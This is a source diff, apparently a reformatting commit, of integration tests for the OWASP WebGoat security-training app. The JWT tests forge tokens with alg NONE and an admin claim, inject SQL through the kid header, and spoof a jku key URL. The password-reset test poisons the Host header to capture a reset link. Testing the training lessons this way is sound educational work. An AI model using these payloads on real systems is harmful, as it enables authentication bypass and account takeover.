-                        .when()
+    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParam("token", generateToken(secret))
-                        .post(url("/WebGoat/JWT/secret"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
 
-    }
+    JsonNode bodyObject = mapper.readTree(body);
+    bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
 
-    private void resetVotes() throws IOException {
+    String replacedToken =
-    	String accessToken = RestAssured.given()
+        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
-                .when()
+            .concat(".")
-                .relaxedHTTPSValidation()
+            .concat(
-                .cookie("JSESSIONID", getWebGoatCookie())
+                new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
-                .get(url("/WebGoat/JWT/votings/login?user=Tom"))
+                    .toString())
-                .then()
+            .concat(".")
-                .extract().cookie("access_token");
+            .replace("=", "");
 
-        String header = accessToken.substring(0, accessToken.indexOf("."));
+    MatcherAssert.assertThat(
-        header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("access_token", replacedToken)
+            .post(url("JWT/votings"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 
-        String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
+  private void buyAsTom() throws IOException {
-        body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
 
-        ObjectMapper mapper = new ObjectMapper();
+    String header =
-        JsonNode headerNode = mapper.readTree(header);
+        new String(
-        headerNode = ((ObjectNode) headerNode).put("alg","NONE");
+            Base64.getUrlDecoder()
+                .decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
 
-        JsonNode bodyObject = mapper.readTree(body);
+    String body =
-        bodyObject = ((ObjectNode) bodyObject).put("admin","true");
+        new String(
+            Base64.getUrlDecoder()
+                .decode(
+                    "eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
+                        .getBytes(Charset.defaultCharset())));
 
-        String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+    body = body.replace("Jerry", "Tom");
-        		.concat(".")
-        		.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
-        		.concat(".").replace("=", "");
 
-        MatcherAssert.assertThat(
+    ObjectMapper mapper = new ObjectMapper();
-                RestAssured.given()
+    JsonNode headerNode = mapper.readTree(header);
-                        .when()
+    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .cookie("access_token", replacedToken)
-                        .post(url("/WebGoat/JWT/votings"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
 
-	private void buyAsTom() throws IOException {
+    String replacedToken =
+        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+            .concat(".")
+            .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
+            .concat(".")
+            .replace("=", "");
 
-		String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Authorization", "Bearer " + replacedToken)
+            .post(url("JWT/refresh/checkout"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 
-		String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
+  private void deleteTomThroughKidClaim() {
+    Map<String, Object> header = new HashMap();
+    header.put(Header.TYPE, Header.JWT_TYPE);
+    header.put(
+        JwsHeader.KEY_ID,
+        "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
+    String token =
+        Jwts.builder()
+            .setHeader(header)
+            .setIssuer("WebGoat Token Builder")
+            .setAudience("webgoat.org")
+            .setIssuedAt(Calendar.getInstance().getTime())
+            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+            .setSubject("tom@webgoat.org")
+            .claim("username", "Tom")
+            .claim("Email", "tom@webgoat.org")
+            .claim("Role", new String[] {"Manager", "Project Administrator"})
+            .signWith(SignatureAlgorithm.HS256, "deletingTom")
+            .compact();
 
-		body = body.replace("Jerry", "Tom");
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .post(url("JWT/kid/delete?token=" + token))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 
-		ObjectMapper mapper = new ObjectMapper();
+  private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
-		JsonNode headerNode = mapper.readTree(header);
+    KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
-		headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
+    keyPairGenerator.initialize(2048);
+    KeyPair keyPair = keyPairGenerator.generateKeyPair();
+    var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", "jwks.json", jwks.toJson().getBytes())
+        .post(webWolfUrl("fileupload"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
 
-		String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
+    Map<String, Object> header = new HashMap();
-				.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
+    header.put(Header.TYPE, Header.JWT_TYPE);
-				.concat(".").replace("=", "");
+    header.put(JwsHeader.JWK_SET_URL, webWolfFileUrl("jwks.json"));
+    String token =
+        Jwts.builder()
+            .setHeader(header)
+            .setIssuer("WebGoat Token Builder")
+            .setAudience("webgoat.org")
+            .setIssuedAt(Calendar.getInstance().getTime())
+            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+            .setSubject("tom@webgoat.org")
+            .claim("username", "Tom")
+            .claim("Email", "tom@webgoat.org")
+            .claim("Role", new String[] {"Manager", "Project Administrator"})
+            .signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
+            .compact();
 
-		MatcherAssert.assertThat(RestAssured.given()
+    MatcherAssert.assertThat(
-				.when().relaxedHTTPSValidation()
+        RestAssured.given()
-				.cookie("JSESSIONID", getWebGoatCookie())
+            .when()
-				.header("Authorization","Bearer "+replacedToken)
+            .relaxedHTTPSValidation()
-				.post(url("/WebGoat/JWT/refresh/checkout"))
+            .cookie("JSESSIONID", getWebGoatCookie())
-				.then().statusCode(200)
+            .post(url("JWT/jku/delete?token=" + token))
-				.extract().path("lessonCompleted"), CoreMatchers.is(true));
+            .then()
-	}
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
 
-	private void deleteTom() {
+  private void quiz() {
-		
+    Map<String, Object> params = new HashMap<>();
-		Map<String, Object> header = new HashMap();
+    params.put("question_0_solution", "Solution 1");
-		  header.put(Header.TYPE, Header.JWT_TYPE);
+    params.put("question_1_solution", "Solution 2");
-		  header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
-		String token = Jwts.builder()
-				.setHeader(header)
-				.setIssuer("WebGoat Token Builder")
-				.setAudience("webgoat.org")
-				.setIssuedAt(Calendar.getInstance().getTime())
-				.setExpiration(Date.from(Instant.now().plusSeconds(60)))
-				.setSubject("tom@webgoat.org")
-				.claim("username", "Tom")
-				.claim("Email", "tom@webgoat.org")
-				.claim("Role", new String[] {"Manager", "Project Administrator"})
-				.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
-		
-		MatcherAssert.assertThat(RestAssured.given()
-				.when().relaxedHTTPSValidation()
-				.cookie("JSESSIONID", getWebGoatCookie())
-				.post(url("/WebGoat/JWT/final/delete?token="+token))
-				.then()
-				.statusCode(200)
-				.extract().path("lessonCompleted"), CoreMatchers.is(true));
-	}
-
-	private void quiz() { 
-		Map<String, Object> params = new HashMap<>();
-		params.put("question_0_solution", "Solution 1");
-		params.put("question_1_solution", "Solution 2");
-
-		checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
-	}
 
+    checkAssignment(url("JWT/quiz"), params, true);
+  }
 }

src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java

@@ -3,168 +3,228 @@ package org.owasp.webgoat;
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
 import io.restassured.path.json.JsonPath;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.util.List;
 import java.util.Properties;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
 
 public class LabelAndHintIntegrationTest extends IntegrationTest {
 
-    final static String ESCAPE_JSON_PATH_CHAR = "\'";
+  static final String ESCAPE_JSON_PATH_CHAR = "\'";
 
-    @Test
+  @Test
-    public void testSingleLabel() {
+  public void testSingleLabel() {
-        Assertions.assertTrue(true);
+    Assertions.assertTrue(true);
-        JsonPath jsonPath = RestAssured.given()
+    JsonPath jsonPath =
-                .when()
+        RestAssured.given()
-                .relaxedHTTPSValidation()
+            .when()
-                .contentType(ContentType.JSON)
+            .relaxedHTTPSValidation()
-                .header("Accept-Language","en")
+            .contentType(ContentType.JSON)
-                .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Accept-Language", "en")
-                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("service/labels.mvc"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
 
-        Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR));
+    Assertions.assertEquals(
+        "Try again: but this time enter a value before hitting go.",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
 
-        // check if lang parameter overrules Accept-Language parameter
+    // check if lang parameter overrules Accept-Language parameter
-        jsonPath = RestAssured.given()
+    jsonPath =
-                .when()
+        RestAssured.given()
-                .relaxedHTTPSValidation()
+            .when()
-                .contentType(ContentType.JSON)
+            .relaxedHTTPSValidation()
-                .header("Accept-Language","en")
+            .contentType(ContentType.JSON)
-                .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Accept-Language", "en")
-                .get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath();
+            .cookie("JSESSIONID", getWebGoatCookie())
-        Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+            .get(url("service/labels.mvc?lang=nl"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Gebruikersnaam",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
 
-        jsonPath = RestAssured.given()
+    jsonPath =
-                .when()
+        RestAssured.given()
-                .relaxedHTTPSValidation()
+            .when()
-                .contentType(ContentType.JSON)
+            .relaxedHTTPSValidation()
-                .header("Accept-Language","en")
+            .contentType(ContentType.JSON)
-                .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Accept-Language", "en")
-                .get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath();
+            .cookie("JSESSIONID", getWebGoatCookie())
-        Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+            .get(url("service/labels.mvc?lang=de"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Benutzername",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
 
-        // check if invalid language returns english
+    // check if invalid language returns english
-        jsonPath = RestAssured.given()
+    jsonPath =
-                .when()
+        RestAssured.given()
-                .relaxedHTTPSValidation()
+            .when()
-                .contentType(ContentType.JSON)
+            .relaxedHTTPSValidation()
-                .header("Accept-Language","nl")
+            .contentType(ContentType.JSON)
-                .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Accept-Language", "nl")
-                .get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath();
+            .cookie("JSESSIONID", getWebGoatCookie())
-        Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+            .get(url("service/labels.mvc?lang=xx"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
 
-        // check if invalid language returns english
+    // check if invalid language returns english
-        jsonPath = RestAssured.given()
+    jsonPath =
-                .when()
+        RestAssured.given()
-                .relaxedHTTPSValidation()
+            .when()
-                .contentType(ContentType.JSON)
+            .relaxedHTTPSValidation()
-                .header("Accept-Language","xx_YY")
+            .contentType(ContentType.JSON)
-                .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Accept-Language", "xx_YY")
-                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
+            .cookie("JSESSIONID", getWebGoatCookie())
-        Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
+            .get(url("service/labels.mvc"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
+  }
 
+  @Test
+  public void testHints() {
+    JsonPath jsonPathLabels = getLabels("en");
+    List<String> allLessons =
+        List.of(
+            "HttpBasics",
+            "HttpProxies",
+            "CIA",
+            "InsecureLogin",
+            "Cryptography",
+            "PathTraversal",
+            "XXE",
+            "JWT",
+            "IDOR",
+            "SSRF",
+            "WebWolfIntroduction",
+            "CrossSiteScripting",
+            "CSRF",
+            "HijackSession",
+            "SqlInjection",
+            "SqlInjectionMitigations",
+            "SqlInjectionAdvanced",
+            "Challenge1");
+    for (String lesson : allLessons) {
+      startLesson(lesson);
+      List<String> hintKeys = getHints();
+      for (String key : hintKeys) {
+        String keyValue =
+            jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
+        // System.out.println("key: " + key + " ,value: " + keyValue);
+        Assertions.assertNotNull(keyValue);
+        Assertions.assertNotEquals(key, keyValue);
+      }
     }
+    // Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
+    // ""+jsonPath.getList("hint").get(0));
+  }
 
-    @Test
+  @Test
-    public void testHints() {
+  public void testLabels() {
-        JsonPath jsonPathLabels = getLabels("en");
+
-        List<String> allLessons = List.of(
+    JsonPath jsonPathLabels = getLabels("en");
-                "HttpBasics",
+    Properties propsDefault = getProperties("");
-                "HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal",
+    for (String key : propsDefault.stringPropertyNames()) {
-                "XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession",
+      String keyValue =
-                "SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced",
+          jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
-                "Challenge1");
+      Assertions.assertNotNull(keyValue);
-        for (String lesson: allLessons) {
-            startLesson(lesson);
-            List<String> hintKeys = getHints();
-            for (String key : hintKeys) {
-                String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
-                //System.out.println("key: " + key + " ,value: " + keyValue);
-                Assertions.assertNotNull(keyValue);
-                Assertions.assertNotEquals(key, keyValue);
-            }
-        }
-        //Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0));
     }
+    checkLang(propsDefault, "nl");
+    checkLang(propsDefault, "de");
+    checkLang(propsDefault, "fr");
+    checkLang(propsDefault, "ru");
+  }
 
-    @Test
+  private Properties getProperties(String lang) {
-    public void testLabels() {
+    Properties prop = null;
-
+    if (lang == null || lang.equals("")) {
-        JsonPath jsonPathLabels = getLabels("en");
+      lang = "";
-        Properties propsDefault = getProperties("");
+    } else {
-        for (String key: propsDefault.stringPropertyNames()) {
+      lang = "_" + lang;
-            String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);
-            Assertions.assertNotNull(keyValue);
-        }
-        checkLang(propsDefault,"nl");
-        checkLang(propsDefault,"de");
-        checkLang(propsDefault,"fr");
-        checkLang(propsDefault,"ru");
-
     }
+    try (InputStream input =
+        new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
 
-    private Properties getProperties(String lang) {
+      prop = new Properties();
-        Properties prop = null;
+      // load a properties file
-        if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
+      prop.load(input);
-        try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
+    } catch (Exception e) {
-
+      e.printStackTrace();
-            prop = new Properties();
-            // load a properties file
-            prop.load(input);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-        return prop;
     }
+    return prop;
+  }
 
-    private void checkLang(Properties propsDefault, String lang) {
+  private void checkLang(Properties propsDefault, String lang) {
-        JsonPath jsonPath = getLabels(lang);
+    JsonPath jsonPath = getLabels(lang);
-        Properties propsLang = getProperties(lang);
+    Properties propsLang = getProperties(lang);
 
-        for (String key: propsLang.stringPropertyNames()) {
+    for (String key : propsLang.stringPropertyNames()) {
-            if (!propsDefault.containsKey(key)) {
+      if (!propsDefault.containsKey(key)) {
-                System.err.println("key: " + key + " in (" +lang+") is missing from default properties");
+        System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
-                Assertions.fail();
+        Assertions.fail();
-            }
+      }
-            if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {
+      if (!jsonPath
-                System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
+          .getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
-                System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));
+          .equals(propsLang.get(key))) {
-                System.out.println("expected: "+propsLang.getProperty(key));
+        System.out.println(
-                System.out.println();
+            "key: " + key + " in (" + lang + ") has incorrect translation in label service");
-                Assertions.fail();
+        System.out.println(
-            }
+            "actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
-        }
+        System.out.println("expected: " + propsLang.getProperty(key));
+        System.out.println();
+        Assertions.fail();
+      }
     }
+  }
 
-    private JsonPath getLabels(String lang) {
+  private JsonPath getLabels(String lang) {
-        return RestAssured.given()
+    return RestAssured.given()
-                .when()
+        .when()
-                .relaxedHTTPSValidation()
+        .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
+        .contentType(ContentType.JSON)
-                .header("Accept-Language",lang)
+        .header("Accept-Language", lang)
-                .cookie("JSESSIONID", getWebGoatCookie())
+        .cookie("JSESSIONID", getWebGoatCookie())
-                //.log().headers()
+        // .log().headers()
-                .get(url("service/labels.mvc"))
+        .get(url("service/labels.mvc"))
-                .then()
+        .then()
-                //.log().all()
+        // .log().all()
-                .statusCode(200).extract().jsonPath();
+        .statusCode(200)
-    }
+        .extract()
-
+        .jsonPath();
-    private List<String> getHints() {
+  }
-        JsonPath jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/hint.mvc"))
-                .then()
-                //.log().all()
-                .statusCode(200).extract().jsonPath();
-        return jsonPath.getList("hint");
-    }
 
+  private List<String> getHints() {
+    JsonPath jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("service/hint.mvc"))
+            .then()
+            // .log().all()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    return jsonPath.getList("hint");
+  }
 }

src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java

@@ -1,118 +1,147 @@
 package org.owasp.webgoat;
 
-import io.restassured.RestAssured;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-import lombok.SneakyThrows;
 
+import io.restassured.RestAssured;
+import java.util.Arrays;
+import java.util.Map;
 import org.apache.commons.lang3.StringUtils;
 import org.assertj.core.api.Assertions;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
-
+import org.springframework.http.HttpHeaders;
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
-import java.util.Arrays;
-import java.util.Map;
 
 public class PasswordResetLessonIntegrationTest extends IntegrationTest {
 
-	@BeforeEach
+  @BeforeEach
-    @SneakyThrows
+  public void init() {
-    public void init() {
+    startLesson("PasswordReset");
-    	startLesson("/PasswordReset");
+  }
-    }
 
-	@TestFactory
+  @TestFactory
-    Iterable<DynamicTest> passwordResetLesson() {
+  Iterable<DynamicTest> passwordResetLesson() {
-    	return Arrays.asList(
+    return Arrays.asList(
-    			dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
+        dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
-    			dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
+        dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
-    			dynamicTest("assignment 2 - simple reset",()-> assignment2()),
+        dynamicTest("assignment 2 - simple reset", () -> assignment2()),
-    			dynamicTest("assignment 4 - guess questions",()-> assignment4()),
+        dynamicTest("assignment 4 - guess questions", () -> assignment4()),
-    			dynamicTest("assignment 5 - simple questions",()-> assignment5())
+        dynamicTest("assignment 5 - simple questions", () -> assignment5()));
-    			);
+  }
-    }
-	public void assignment2() {
-		checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
-		checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
-	}
 
-	public void assignment4() {
+  public void assignment2() {
-        checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
+    checkAssignment(
-    }
+        url("PasswordReset/simple-mail/reset"),
+        Map.of("emailReset", this.getUser() + "@webgoat.org"),
+        false);
+    checkAssignment(
+        url("PasswordReset/simple-mail"),
+        Map.of(
+            "email",
+            this.getUser() + "@webgoat.org",
+            "password",
+            StringUtils.reverse(this.getUser())),
+        true);
+  }
 
-	public void assignment5() {
+  public void assignment4() {
-        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
+    checkAssignment(
-        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
+        url("PasswordReset/questions"),
-    }
+        Map.of("username", "tom", "securityQuestion", "purple"),
+        true);
+  }
 
+  public void assignment5() {
+    checkAssignment(
+        url("PasswordReset/SecurityQuestions"),
+        Map.of("question", "What is your favorite animal?"),
+        false);
+    checkAssignment(
+        url("PasswordReset/SecurityQuestions"),
+        Map.of("question", "What is your favorite color?"),
+        true);
+  }
 
-    public void solveAssignment() {
+  public void solveAssignment() {
-        //WebGoat
+    // WebGoat
-        clickForgotEmailLink("tom@webgoat-cloud.org");
+    clickForgotEmailLink("tom@webgoat-cloud.org");
 
-        //WebWolf
+    // WebWolf
-        var link = getPasswordResetLinkFromLandingPage();
+    var link = getPasswordResetLinkFromLandingPage();
+    // WebGoat
+    changePassword(link);
+    checkAssignment(
+        url("PasswordReset/reset/login"),
+        Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
+        true);
+  }
 
-        //WebGoat
+  public void sendEmailShouldBeAvailableInWebWolf() {
-        changePassword(link);
+    clickForgotEmailLink(this.getUser() + "@webgoat.org");
-        checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
-    }
 
-    public void sendEmailShouldBeAvailableInWebWolf() {
+    var responseBody =
-    	clickForgotEmailLink(this.getUser() + "@webgoat.org");
-
-        var responseBody = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/mail"))
-                .then()
-                .extract().response().getBody().asString();
-
-        Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
-    }
-    
-    @AfterEach
-    public void shutdown() {
-    	//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
-    	checkResults("/PasswordReset");
-    }
-
-    private void changePassword(String link) {
         RestAssured.given()
-                .when()
+            .when()
-                .relaxedHTTPSValidation()
+            .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .formParams("resetLink", link, "password", "123456")
+            .get(webWolfUrl("mail"))
-                .post(url("PasswordReset/reset/change-password"))
+            .then()
-                .then()
+            .extract()
-                .statusCode(200);
+            .response()
-    }
+            .getBody()
+            .asString();
 
-    private String getPasswordResetLinkFromLandingPage() {
+    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
-        var responseBody = RestAssured.given()
+  }
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/requests"))
-                .then()
-                .extract().response().getBody().asString();
-        int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
-        var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
-        return link;
-    }
 
-    private void clickForgotEmailLink(String user) {
+  @AfterEach
+  public void shutdown() {
+    // this will run only once after the list of dynamic tests has run, this is to test if the
+    // lesson is marked complete
+    checkResults("/PasswordReset");
+  }
+
+  private void changePassword(String link) {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("resetLink", link, "password", "123456")
+        .post(url("PasswordReset/reset/change-password"))
+        .then()
+        .statusCode(200);
+  }
+
+  private String getPasswordResetLinkFromLandingPage() {
+    var responseBody =
         RestAssured.given()
-                .when()
+            .when()
-                .header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
+            .relaxedHTTPSValidation()
-                .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webWolfUrl("requests"))
-                .formParams("email", user)
+            .then()
-                .post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
+            .extract()
-                .then()
+            .response()
-                .statusCode(200);
+            .getBody()
-    }
+            .asString();
+    int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
+    var link =
+        responseBody.substring(
+            startIndex + "/PasswordReset/reset/reset-password/".length(),
+            responseBody.indexOf(",", startIndex) - 1);
+    return link;
+  }
+
+  private void clickForgotEmailLink(String user) {
+    RestAssured.given()
+        .when()
+        .header(HttpHeaders.HOST, String.format("%s:%s", getWebWolfHost(), getWebWolfPort()))
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("email", user)
+        .post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
+        .then()
+        .statusCode(200);
+  }
 }

src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java

@@ -1,16 +1,8 @@
 package org.owasp.webgoat;
 
-import io.restassured.RestAssured;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-import lombok.SneakyThrows;
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DynamicTest;
-import org.junit.jupiter.api.TestFactory;
-import org.junit.jupiter.api.io.TempDir;
-import org.springframework.security.core.token.Sha512DigestUtils;
 
+import io.restassured.RestAssured;
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
@@ -21,117 +13,140 @@ import java.util.Arrays;
 import java.util.Map;
 import java.util.zip.ZipEntry;
 import java.util.zip.ZipOutputStream;
-
+import lombok.SneakyThrows;
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
